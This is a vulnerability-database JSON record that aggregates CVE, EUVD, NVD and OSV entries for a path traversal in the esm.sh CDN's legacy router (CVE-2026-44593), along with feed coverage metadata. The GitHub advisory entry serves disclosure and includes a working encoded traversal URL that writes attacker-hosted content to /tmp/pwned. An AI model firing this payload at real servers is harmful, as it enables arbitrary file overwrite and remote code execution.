{"id":"EUVD-2026-32910","revision":null,"records":[{"revision":"9ca9fcc90a6548219c5c319c19c428c0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44593","aliases":[],"title":"esm.sh: Legacy Route Path Traversal Can Lead to RCE","description":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.","state":0,"publishedAt":"2026-05-28T14:44:20.782+00:00","modifiedAt":"2026-06-02T15:01:05.268+00:00","affected":[{"ecosystem":"Vendor product","name":"esm.sh","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"esm-dev\",\n                    \"product\": \"esm.sh\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 137\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44593","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44593","identifiers":["CVE-2026-44593"]},"retained":false,"historicalAffected":[]},{"revision":"3eb3379742704e3fbbf943e790228525","observedAt":"2026-11-07T10:31:37.421+00:00","statement":{"source":"euvd","id":"EUVD-2026-32910","aliases":["CVE-2026-44593","GHSA-3636-h3vx-6465"],"title":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via bui…","description":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32910","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 28, 2026, 2:44:20 PM","dateUpdated":"Jun 2, 2026, 3:01:05 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32910","identifiers":["EUVD-2026-32910","CVE-2026-44593","GHSA-3636-h3vx-6465"]},"retained":false,"historicalAffected":[]},{"revision":"7bddedef1526442f9cb1b059745e8d29","observedAt":"2026-10-27T11:12:17.434+00:00","statement":{"source":"nvd","id":"CVE-2026-44593","aliases":[],"title":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via bui…","description":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.","state":0,"publishedAt":"2026-05-28T16:16:24.587+00:00","modifiedAt":"2026-10-26T11:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44593","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-05-28T16:16:24.587","lastModified":"2026-10-26T11:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44593","identifiers":["CVE-2026-44593"]},"retained":false,"historicalAffected":[]},{"revision":"6de9fbbfb2604b3d9f1ef8858b89c76e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-3636-h3vx-6465","aliases":["CVE-2026-44593","GO-2026-5071"],"title":"esm.sh: Legacy Route Path Traversal Can Lead to RCE","description":"### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put`  \n(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction**  \n   A crafted request is sent to the server:\n   ```\n   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n   ```\n\n2. **Proxy to Legacy Server**  \n   The request is forwarded to:\n   ```\n   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n   ```\n   which resolves to:\n   ```\n   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md\n   ```\n\n3. **File Retrieval**  \n   The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`.\n\n4. **Path Normalisation & Storage**  \n   The storage path derived from the request is:\n   ```\n   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n   ```\n   Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result**  \n   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team","state":0,"publishedAt":"2026-05-12T22:22:39+00:00","modifiedAt":"2026-06-25T18:56:35.2984686+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260508100112-1960055e1d53"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465","https://nvd.nist.gov/vuln/detail/CVE-2026-44593","https://github.com/esm-dev/esm.sh","https://github.com/esm-dev/esm.sh/releases/tag/v137_3"],"sourceUrl":"https://github.com/advisories/GHSA-3636-h3vx-6465","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3636-h3vx-6465","identifiers":["GHSA-3636-h3vx-6465","CVE-2026-44593","GO-2026-5071"]},"retained":false,"historicalAffected":[]},{"revision":"1d830f81e12f46a8b1c6001e5b6aa800","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5071","aliases":["CVE-2026-44593","GHSA-3636-h3vx-6465"],"title":"esm.sh: Legacy Route Path Traversal Can Lead to RCE in github.com/esm-dev/esm.sh","description":"esm.sh: Legacy Route Path Traversal Can Lead to RCE in github.com/esm-dev/esm.sh","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:15.0150563+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260508100112-1960055e1d53"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465","https://nvd.nist.gov/vuln/detail/CVE-2026-44593","https://github.com/esm-dev/esm.sh/releases/tag/v137_3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5071","license":"OSV · upstream source license applies","key":"osv:GO-2026-5071","identifiers":["GO-2026-5071","CVE-2026-44593","GHSA-3636-h3vx-6465"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T18:07:22.4901130+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T18:07:22.490113+00:00","lastSuccessAt":"2026-11-07T18:07:22.6844079+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.6844094+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-345caf33bb1f4776307263ad25eb81e7ed5e705a56a2cd4eb1cf23a9dfb83a94","complete":true,"records":420935,"lastAttemptAt":"2026-11-07T18:07:21.9958253+00:00","lastSuccessAt":"2026-11-07T18:07:21.9319209+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:21.9958253+00:00","snapshotPublishedAt":"2026-11-07T17:19:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-34a4c3afd7814be5b898afe39bc8de83","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T18:19:20.2464002+00:00","lastSuccessAt":"2026-11-07T18:19:20.241+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:19:20.241+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T18:07:22.4901130+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T18:07:22.490113+00:00","lastSuccessAt":"2026-11-07T18:07:22.6855915+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.6855918+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4f3c43bc657c450cb497709a94b99465","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T18:07:48.5826461+00:00","lastSuccessAt":"2026-11-07T18:07:48.579+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:48.579+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T18:07:22.3499852+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.3499852+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T18:07:22.144189+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.144189+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T18:07:22.4566537+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.4566537+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T18:07:22.2465057+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.2465057+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}